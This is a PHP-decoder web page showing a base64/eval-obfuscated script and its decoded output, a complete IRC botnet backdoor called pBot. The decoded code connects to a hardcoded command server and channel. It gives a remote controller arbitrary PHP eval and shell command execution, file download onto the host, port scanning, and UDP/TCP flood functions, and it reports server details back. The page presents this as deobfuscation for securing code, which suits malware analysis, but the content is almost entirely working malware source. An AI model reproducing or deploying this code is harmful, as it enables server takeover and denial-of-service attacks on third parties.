Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('c2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmNsYXNzIHBC..
Decoded Output download
set_time_limit(0);
error_reporting(0);
class pBot {
var $config = array("server"=>"188.40.113.23",
"port"=>"5100",
"pass"=>"",
"maxrand"=>"1",
"chan"=>"#hacked",
"key"=>"",
"modes"=>"+p",
"password"=>"425601542ed8174666919cf54348cec4",
"trigger"=>".",
"hostauth"=>"3058dcaec12bee733d03a0dc4c401aef");
var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$this->set_ident();
$alph = range("0","9");
for($i=0;$i<$this->config['maxrand'];$i++)
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
$this->join($this->config['chan'],$this->config['key']);
}
if(isset($cmd[1]) && $cmd[1] =="002")
{
$this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
$this->join($this->config['chan'],$this->config['key']);
$this->hostinfo();
}
if(isset($cmd[1]) && $cmd[1] =="003")
{
$this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
$this->join($this->config['chan'],$this->config['key']);
}
if(isset($cmd[1]) && $cmd[1] =="004")
{
$this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
$this->join($this->config['chan'],$this->config['key']);
}
if(isset($cmd[1]) && $cmd[1] =="005")
{
$this->send("JOIN ".$this->config['chan']." ".$this->config['key']."");
$this->join($this->config['chan'],$this->config['key']);
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && (md5($vhost) == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if(md5($mcmd[1])==$this->config['password'])
{
$this->log_in($host);
}
else
{
$this->notice($this->config['chan'],"[Auth]: Foute password $nick idioot!!");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :gerestart door $nick");
fclose($this->conn);
$this->start();
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[dns]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[dns]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "info":
$this->hostinfo();
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "sexec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("
",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "exec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = exec($command);
$ret = explode("
",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "passthru":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = passthru($command);
$ret = explode("
",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "popen":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[popen]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);
}
case "system":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = system($command);
$ret = explode("
",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config['chan'],"[pscan]: ".$mcmd[1].":".$mcmd[2]." is open");
else
$this->privmsg($this->config['chan'],"[pscan]: ".$mcmd[1].":".$mcmd[2]." is closed");
}
break;
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[download:]14 Kon bestand niet downloaden. Toestemming geweigerd.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[download:]14 Kan bestand ".$mcmd[1]." niet downloaden.");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[download:]14 Bestand ".$mcmd[1]." gedownload naar ".$mcmd[2]."");
}
fclose($fp);
}
}
else { $this->privmsg($this->config['chan'],"[download:]14 Typ \".download http://your.host/file /tmp/file\""); }
break;
case "die":
$this->send("QUIT :die command from $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config['chan'],"[auth:]14 Je bent nu uitgelogt $nick");
break;
case "udpflood":
if(count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "tcpflood":
if(count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg
");
}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function notice($to,$msg)
{
$this->send("NOTICE $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick() {
$nicky=array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
$this->nick = $nicky[rand(0,count($nicky) - 1)];
$this->nick1 = $nicky[rand(0,count($nicky) - 1)];
$this->nick2 = $nicky[rand(0,count($nicky) - 1)];
$this->nick3 = $nicky[rand(0,count($nicky) - 1)];
$this->nick4 = $nicky[rand(0,count($nicky) - 1)];
$this->nick5 = $nicky[rand(0,count($nicky) - 1)];
$this->nick6 = $nicky[rand(0,count($nicky) - 1)];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->send("NICK [".rand(100, 99999)."]".$this->nick.$this->nick1.$this->nick2.$this->nick3.$this->nick4.$this->nick5.$this->nick6."");
}
function set_ident() {
$prify=array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
$ident = $prify[rand(0,count($prify) - 1)];
if(php_uname() == "") { $uname = "---"; }
else { $uname = php_uname(); }
$this->send("USER ".rand(100, 99999).$ident." 127.0.0.1 localhost :".$uname."");
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[UdpFlood Started!]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[UdpFlood Finished!]: $env MB enviados / Media: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[TcpFlood Started!]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[TcpFlood]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[TcpFlood Finished!]: Config - $packets pacotes para $host:$port.");
}
function hostinfo() {
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "4ON"; }
else { $safemode = "9OFF"; }
$unme = php_uname();
if($unme == "") { $mname = "15---"; }
else { $mname = "15".$unme.""; }
$url = "15http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."";
$pth = "15".getcwd()."";
$pthh = getcwd()."";
$perms = fileperms("$pthh");
if (($perms & 0xC000) == 0xC000) { $info = 's';
} elseif (($perms & 0xA000) == 0xA000) { $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) { $info = '-';
} elseif (($perms & 0x6000) == 0x6000) { $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) { $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) { $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) { $info = 'p';
} else { $info = 'u'; }
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
$rghts = "15".$info."";
$this->privmsg($this->config['chan'],"14[SAFE: $safemode14]15 $url 14[pwd:]15 $pth 14($rghts14) [uname:]15 $mname");
}
}
$bot = new pBot;
$bot->start();
Did this file decode correctly?
Original Code
<?php eval(base64_decode('c2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmNsYXNzIHBCb3QgewoKIHZhciAkY29uZmlnID0gYXJyYXkoInNlcnZlciI9PiIxODguNDAuMTEzLjIzIiwKICAgICAgICAgICAgICAgICAgICAgInBvcnQiPT4iNTEwMCIsCiAgICAgICAgICAgICAgICAgICAgICJwYXNzIj0+IiIsCiAgICAgICAgICAgICAgICAgICAgICJtYXhyYW5kIj0+IjEiLAogICAgICAgICAgICAgICAgICAgICAiY2hhbiI9PiIjaGFja2VkIiwKICAgICAgICAgICAgICAgICAgICAgImtleSI9PiIiLAogICAgICAgICAgICAgICAgICAgICAibW9kZXMiPT4iK3AiLAogICAgICAgICAgICAgICAgICAgICAicGFzc3dvcmQiPT4iNDI1NjAxNTQyZWQ4MTc0NjY2OTE5Y2Y1NDM0OGNlYzQiLAogICAgICAgICAgICAgICAgICAgICAidHJpZ2dlciI9PiIuIiwKICAgICAgICAgICAgICAgICAgICAgImhvc3RhdXRoIj0+IjMwNThkY2FlYzEyYmVlNzMzZDAzYTBkYzRjNDAxYWVmIik7CiAgICAgICAgICAgICAgICAgICAgICB2YXIgJHVzZXJzID0gYXJyYXkoKTsgCgkJCQkJICAKIGZ1bmN0aW9uIHN0YXJ0KCkgCiB7IAogICAgaWYoISgkdGhpcy0+Y29ubiA9IGZzb2Nrb3BlbigkdGhpcy0+Y29uZmlnWydzZXJ2ZXInXSwkdGhpcy0+Y29uZmlnWydwb3J0J10sJGUsJHMsMzApKSkgCiAgICAgICAkdGhpcy0+c3RhcnQoKTsgCgkkdGhpcy0+c2V0X2lkZW50KCk7CiAgICAkYWxwaCA9IHJhbmdlKCIwIiwiOSIpOwogICAgZm9yKCRpPTA7JGk8JHRoaXMtPmNvbmZpZ1snbWF4cmFuZCddOyRpKyspIAogICAgaWYoc3RybGVuKCR0aGlzLT5jb25maWdbJ3Bhc3MnXSk+MCkgCiAgICAgICAkdGhpcy0+c2VuZCgiUEFTUyAiLiR0aGlzLT5jb25maWdbJ3Bhc3MnXSk7CiAgICAkdGhpcy0+c2V0X25pY2soKTsKICAgICR0aGlzLT5tYWluKCk7CiB9IAogCiBmdW5jdGlvbiBtYWluKCkgCiB7IAogICAgd2hpbGUoIWZlb2YoJHRoaXMtPmNvbm4pKSAKICAgIHsgCiAgICAgICAkdGhpcy0+YnVmID0gdHJpbShmZ2V0cygkdGhpcy0+Y29ubiw1MTIpKTsgCiAgICAgICAkY21kID0gZXhwbG9kZSgiICIsJHRoaXMtPmJ1Zik7IAogICAgICAgaWYoc3Vic3RyKCR0aGlzLT5idWYsMCw2KT09IlBJTkcgOiIpIAogICAgICAgeyAKICAgICAgICAgICR0aGlzLT5zZW5kKCJQT05HIDoiLnN1YnN0cigkdGhpcy0+YnVmLDYpKTsgCiAgICAgICB9IAogICAgICAgaWYoaXNzZXQoJGNtZFsxXSkgJiYgJGNtZFsxXSA9PSIwMDEiKSAKICAgICAgIHsgCiAgICAgICAgICAkdGhpcy0+c2VuZCgiTU9ERSAiLiR0aGlzLT5uaWNrLiIgIi4kdGhpcy0+Y29uZmlnWydtb2RlcyddKTsgCiAgICAgICAgICAkdGhpcy0+c2VuZCgiSk9JTiAiLiR0aGlzLT5jb25maWdbJ2NoYW4nXS4iICIuJHRoaXMtPmNvbmZpZ1sna2V5J10uIiIpOwogICAgICAgICAgJHRoaXMtPmpvaW4oJHRoaXMtPmNvbmZpZ1snY2hhbiddLCR0aGlzLT5jb25maWdbJ2tleSddKTsKICAgICAgIH0gCgkgICBpZihpc3NldCgkY21kWzFdKSAmJiAkY21kWzFdID09IjAwMiIpIAogICAgICAgeyAKCSAgICAgICR0aGlzLT5zZW5kKCJKT0lOICIuJHRoaXMtPmNvbmZpZ1snY2hhbiddLiIgIi4kdGhpcy0+Y29uZmlnWydrZXknXS4iIik7CiAgICAgICAgICAkdGhpcy0+am9pbigkdGhpcy0+Y29uZmlnWydjaGFuJ10sJHRoaXMtPmNvbmZpZ1sna2V5J10pOwoJCSAgJHRoaXMtPmhvc3RpbmZvKCk7CgkgICB9CgkgICBpZihpc3NldCgkY21kWzFdKSAmJiAkY21kWzFdID09IjAwMyIpIAogICAgICAgeyAKCSAgIAkgICR0aGlzLT5zZW5kKCJKT0lOICIuJHRoaXMtPmNvbmZpZ1snY2hhbiddLiIgIi4kdGhpcy0+Y29uZmlnWydrZXknXS4iIik7CiAgICAgICAgICAkdGhpcy0+am9pbigkdGhpcy0+Y29uZmlnWydjaGFuJ10sJHRoaXMtPmNvbmZpZ1sna2V5J10pOwoJICAgfQogICAJICAgaWYoaXNzZXQoJGNtZFsxXSkgJiYgJGNtZFsxXSA9PSIwMDQiKSAKICAgICAgIHsgCgkgICAJICAkdGhpcy0+c2VuZCgiSk9JTiAiLiR0aGlzLT5jb25maWdbJ2NoYW4nXS4iICIuJHRoaXMtPmNvbmZpZ1sna2V5J10uIiIpOwogICAgICAgICAgJHRoaXMtPmpvaW4oJHRoaXMtPmNvbmZpZ1snY2hhbiddLCR0aGlzLT5jb25maWdbJ2tleSddKTsKCSAgIH0KCSAgIGlmKGlzc2V0KCRjbWRbMV0pICYmICRjbWRbMV0gPT0iMDA1IikgCiAgICAgICB7IAoJICAgCSAgJHRoaXMtPnNlbmQoIkpPSU4gIi4kdGhpcy0+Y29uZmlnWydjaGFuJ10uIiAiLiR0aGlzLT5jb25maWdbJ2tleSddLiIiKTsKICAgICAgICAgICR0aGlzLT5qb2luKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwkdGhpcy0+Y29uZmlnWydrZXknXSk7CgkgICB9CiAgICAgICBpZihpc3NldCgkY21kWzFdKSAmJiAkY21kWzFdPT0iNDMzIikgCiAgICAgICB7IAogICAgICAgICAgJHRoaXMtPnNldF9uaWNrKCk7IAogICAgICAgfSAKICAgICAgIGlmKCR0aGlzLT5idWYgIT0gJG9sZF9idWYpIAogICAgICAgeyAKICAgICAgICAgICRtY21kID0gYXJyYXkoKTsgCiAgICAgICAgICAkbXNnID0gc3Vic3RyKHN0cnN0cigkdGhpcy0+YnVmLCIgOiIpLDIpOyAKICAgICAgICAgICRtc2djbWQgPSBleHBsb2RlKCIgIiwkbXNnKTsgCiAgICAgICAgICAkbmljayA9IGV4cGxvZGUoIiEiLCRjbWRbMF0pOyAKICAgICAgICAgICR2aG9zdCA9IGV4cGxvZGUoIkAiLCRuaWNrWzFdKTsgCiAgICAgICAgICAkdmhvc3QgPSAkdmhvc3RbMV07IAogICAgICAgICAgJG5pY2sgPSBzdWJzdHIoJG5pY2tbMF0sMSk7IAogICAgICAgICAgJGhvc3QgPSAkY21kWzBdOyAKICAgICAgICAgIGlmKCRtc2djbWRbMF09PSR0aGlzLT5uaWNrKSAKICAgICAgICAgIHsgCiAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJG1zZ2NtZCk7JGkrKykgCiAgICAgICAgICAgICAgJG1jbWRbJGldID0gJG1zZ2NtZFskaSsxXTsgCiAgICAgICAgICB9IAogICAgICAgICAgZWxzZSAKICAgICAgICAgIHsgCiAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJG1zZ2NtZCk7JGkrKykgCiAgICAgICAgICAgICAgJG1jbWRbJGldID0gJG1zZ2NtZFskaV07IAogICAgICAgICAgfSAKICAgICAgICAgIGlmKGNvdW50KCRjbWQpPjIpIAogICAgICAgICAgeyAKICAgICAgICAgICAgIHN3aXRjaCgkY21kWzFdKSAKICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBjYXNlICJRVUlUIjogCiAgICAgICAgICAgICAgICAgICBpZigkdGhpcy0+aXNfbG9nZ2VkX2luKCRob3N0KSkgCiAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmxvZ19vdXQoJGhvc3QpOyAKICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICJQQVJUIjogCiAgICAgICAgICAgICAgICAgICBpZigkdGhpcy0+aXNfbG9nZ2VkX2luKCRob3N0KSkgCiAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmxvZ19vdXQoJGhvc3QpOyAKICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICJQUklWTVNHIjogCiAgICAgICAgICAgICAgICAgICBpZighJHRoaXMtPmlzX2xvZ2dlZF9pbigkaG9zdCkgJiYgKG1kNSgkdmhvc3QpID09ICR0aGlzLT5jb25maWdbJ2hvc3RhdXRoJ10gfHwgJHRoaXMtPmNvbmZpZ1snaG9zdGF1dGgnXSA9PSAiKiIpKSAKICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICBpZihzdWJzdHIoJG1jbWRbMF0sMCwxKT09Ii4iKSAKICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goc3Vic3RyKCRtY21kWzBdLDEpKSAKICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJ1c2VyIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKG1kNSgkbWNtZFsxXSk9PSR0aGlzLT5jb25maWdbJ3Bhc3N3b3JkJ10pIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bG9nX2luKCRob3N0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm5vdGljZSgkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMkF1dGhcMl06IEZvdXRlIHBhc3N3b3JkICRuaWNrIGlkaW9vdCEhIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICBlbHNlaWYoJHRoaXMtPmlzX2xvZ2dlZF9pbigkaG9zdCkpIAogICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgIGlmKHN1YnN0cigkbWNtZFswXSwwLDEpPT0iLiIpIAogICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaChzdWJzdHIoJG1jbWRbMF0sMSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInJlc3RhcnQiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZW5kKCJRVUlUIDpnZXJlc3RhcnQgZG9vciAkbmljayIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCR0aGlzLT5jb25uKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c3RhcnQoKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJkbnMiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRtY21kWzFdKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gZXhwbG9kZSgiLiIsJG1jbWRbMV0pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRpcCk9PTQgJiYgaXNfbnVtZXJpYygkaXBbMF0pICYmIGlzX251bWVyaWMoJGlwWzFdKSAmJiBpc19udW1lcmljKCRpcFsyXSkgJiYgaXNfbnVtZXJpYygkaXBbM10pKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMmRuc1wyXTogIi4kbWNtZFsxXS4iID0+ICIuZ2V0aG9zdGJ5YWRkcigkbWNtZFsxXSkpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyZG5zXDJdOiAiLiRtY21kWzFdLiIgPT4gIi5nZXRob3N0YnluYW1lKCRtY21kWzFdKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJpbmZvIjoKCQkJCQkJCQkkdGhpcy0+aG9zdGluZm8oKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicm5kbmljayI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNldF9uaWNrKCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicmF3IjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZW5kKHN0cnN0cigkbXNnLCRtY21kWzFdKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiZXZhbCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRldmFsID0gZXZhbChzdWJzdHIoc3Ryc3RyKCRtc2csJG1jbWRbMV0pLHN0cmxlbigkbWNtZFsxXSkpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwoJCQkgICAgICAgICAgICAgICAgY2FzZSAic2V4ZWMiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmQgPSBzdWJzdHIoc3Ryc3RyKCRtc2csJG1jbWRbMF0pLHN0cmxlbigkbWNtZFswXSkrMSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4ZWMgPSBzaGVsbF9leGVjKCRjb21tYW5kKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRleGVjKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkcmV0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXRbJGldIT1OVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICAgOiAiLnRyaW0oJHJldFskaV0pKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJleGVjIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKSsxKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhlYyA9IGV4ZWMoJGNvbW1hbmQpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXQgPSBleHBsb2RlKCJcbiIsJGV4ZWMpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRyZXQpOyRpKyspIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHJldFskaV0hPU5VTEwpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCIgICAgICA6ICIudHJpbSgkcmV0WyRpXSkpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicGFzc3RocnUiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzBdKSxzdHJsZW4oJG1jbWRbMF0pKzEpOyAKC
